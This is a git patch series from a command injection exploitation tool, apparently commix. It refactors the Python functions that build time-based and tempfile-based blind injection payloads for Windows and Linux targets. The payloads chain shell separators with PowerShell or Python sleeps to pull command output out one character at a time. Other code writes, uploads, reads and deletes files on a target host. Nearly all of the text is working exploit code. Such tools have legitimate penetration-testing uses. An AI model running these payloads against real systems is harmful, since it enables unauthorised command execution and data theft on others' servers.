@@ -26,11 +26,11 @@
"""
def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
+ if separator == "|" :
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
- "do if %i==" +str(output_length) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
elif separator == "&&" :
@@ -38,8 +38,8 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
- "do if %i==" +str(output_length) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
else:
@@ -96,24 +96,24 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
- if separator == "||" :
- payload = (separator + " "
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(output_length) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(output_length) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
+
)
else:
if separator == ";" :
@@ -140,7 +140,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
# Find the length of the output, using readline().
"str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\")" + separator +
@@ -177,22 +177,22 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
"""
def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
- payload = (separator + " "
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do if %i==" +str(output_length) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do if %i==" +str(output_length) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
else:
@@ -252,23 +252,23 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"""
def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
- payload = (separator + " " +
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE +
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(output_length) + settings.SINGLE_WHITESPACE +
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+
)
else:
if separator == ";" :
@@ -330,11 +330,11 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
"""
def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
- payload = (separator + " " +
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
- cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+
- " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
+ cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
)
elif separator == "&&" :
@@ -342,8 +342,8 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
- cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" +str(ascii_char)+
- " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
+ cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
)
else:
@@ -415,24 +415,24 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
- if separator == "||" :
- payload = (separator + " "
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand +
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
+
)
else:
if separator == ";" :
@@ -492,22 +492,22 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
"""
def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
- payload = (separator + " " +
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do if %i==" +str(ascii_char)+
- " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do if %i==" +str(ascii_char)+
- " (cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\")"
+ "\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
else:
@@ -559,24 +559,22 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
"""
def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
- payload = (separator + " " +
+ if separator == "|" :
+ payload = (separator + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE +
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do if %i==" +str(ascii_char) + settings.SINGLE_WHITESPACE +
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
else:
if separator == ";" :
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 23177875a3..e08bbaea8f 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "89"
+REVISION = "90"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 4a1b56f908135568a6843a4f433b6fdf09b475e1 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 23 Jun 2022 09:42:01 +0300
Subject: [PATCH 168/560] Minor refactoring
---
src/core/injections/controller/checks.py | 16 +-
.../techniques/file_based/fb_payloads.py | 2 +-
.../tempfile_based/tfb_file_access.py | 56 ++---
.../techniques/tempfile_based/tfb_handler.py | 8 +-
.../techniques/tempfile_based/tfb_payloads.py | 217 ++++++++----------
src/utils/settings.py | 2 +-
6 files changed, 136 insertions(+), 165 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 4daae493b3..cbae53b3ce 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -1627,12 +1627,12 @@ def generate_char_pool(num_of_chars):
if menu.options.charset:
char_pool = [ord(c) for c in menu.options.charset]
else:
- if num_of_chars == 1:
- # Checks {A..Z},{a..z},{0..9},{Symbols}
- char_pool = list(range(65, 90)) + list(range(96, 122))
- else:
- # Checks {a..z},{A..Z},{0..9},{Symbols}
- char_pool = list(range(96, 122)) + list(range(65, 90))
+ # if num_of_chars == 1:
+ # # Checks {A..Z},{a..z},{0..9},{Symbols}
+ # char_pool = list(range(65, 90)) + list(range(96, 122))
+ # else:
+ # # Checks {a..z},{A..Z},{0..9},{Symbols}
+ char_pool = list(range(96, 122)) + list(range(65, 90))
char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127))
return char_pool
@@ -2042,7 +2042,7 @@ def find_filename(dest_to_write, content):
# _ = settings.FILE_WRITE
if settings.TARGET_OS == "win":
# _ = settings.FILE_WRITE_WIN
- cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + " '" + content + "'"
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + tmp_fname.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname
return fname, tmp_fname, cmd
@@ -2078,7 +2078,7 @@ def remove_parenthesis(cmd):
def write_content(content, dest_to_write):
content = quoted_cmd(content)
if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + " '" + content + "'"
+ cmd = settings.WIN_FILE_WRITE_OPERATOR + dest_to_write.replace("\\","\\\\") + settings.SINGLE_WHITESPACE + "'" + content + "'"
else:
cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write
return cmd
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index b0984350ef..15c56d2071 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -28,7 +28,7 @@
def decision(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == "win":
payload = (separator +
- settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '" + TAG + "'\""
+ settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\""
)
else:
payload = (separator +
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index af0174c117..9235b029a7 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -33,6 +33,7 @@
Write to a file on the target host.
"""
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
+ _ = False
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
@@ -40,32 +41,19 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
cmd = checks.change_dir(dest_to_write)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cmd = checks.win_decode_b64_enc(fname, tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
cmd = checks.delete_tmp(tmp_fname)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
- # cmd = "if exist " + fname + " (echo " + fname + ")"
- # dest_to_write = dest_to_write + "\\" + fname
- cmd = checks.check_file(dest_to_write)
- if not menu.options.alter_shell:
- cmd = checks.quoted_cmd(cmd)
else:
cmd = checks.write_content(content, dest_to_write)
cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = output
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
- # Check if file exists
- cmd = checks.check_file(dest_to_write)
+ cmd = checks.check_file(dest_to_write)
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
@@ -73,6 +61,20 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
checks.file_write_status(shell, dest_to_write)
+
+"""
+Upload a file on the target host.
+"""
+def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ shell = "".join(str(p) for p in shell)
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
+ checks.file_upload_status(shell, dest_to_upload)
"""
Read a file from the target host.
@@ -91,20 +93,6 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
print(settings.SINGLE_WHITESPACE)
checks.file_read_status(shell, file_to_read, filename)
-"""
-Upload a file on the target host.
-"""
-def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- cmd, dest_to_upload = checks.check_file_to_upload()
- check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = "".join(str(p) for p in shell)
- cmd = checks.check_file(dest_to_upload)
- check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- shell = "".join(str(p) for p in shell)
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- checks.file_upload_status(shell, dest_to_upload)
-
"""
Check the defined options
"""
@@ -114,11 +102,6 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
- if menu.options.file_read:
- file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- if settings.FILE_ACCESS_DONE == False:
- settings.FILE_ACCESS_DONE = True
-
if menu.options.file_upload:
if settings.TARGET_OS == "win":
check_option = "--file-upload"
@@ -128,4 +111,9 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
if settings.FILE_ACCESS_DONE == False:
settings.FILE_ACCESS_DONE = True
+ if menu.options.file_read:
+ file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ if settings.FILE_ACCESS_DONE == False:
+ settings.FILE_ACCESS_DONE = True
+
# eof
\ No newline at end of file
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 636bf0b8ea..f10cf26b55 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -53,10 +53,9 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa
debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'"
print(settings.print_debug_msg(debug_msg))
if settings.TARGET_OS == "win":
- cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
- settings.WEB_ROOT = ""
- cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
+ cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
"""
@@ -271,7 +270,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
- cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
+ rand_num = randv1 + randv2
+ cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")"
else:
cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 1a2cd689a8..7d3d540646 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -27,27 +27,25 @@
"""
def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
payload = (pipe +
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " "
+ settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
- "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
- " do if %i==" +str(j) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
- "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
+ "do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + ""
+ settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
- "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')"
- " do if %i==" +str(j) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
- "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ "((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
+ "do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
else:
@@ -113,26 +111,24 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
- payload = (pipe + " "
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + pipe + " "
+ payload = (pipe +
+ settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(j) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + ampersand + ""
+ settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(j) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
else:
if separator == ";" :
@@ -175,7 +171,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " "
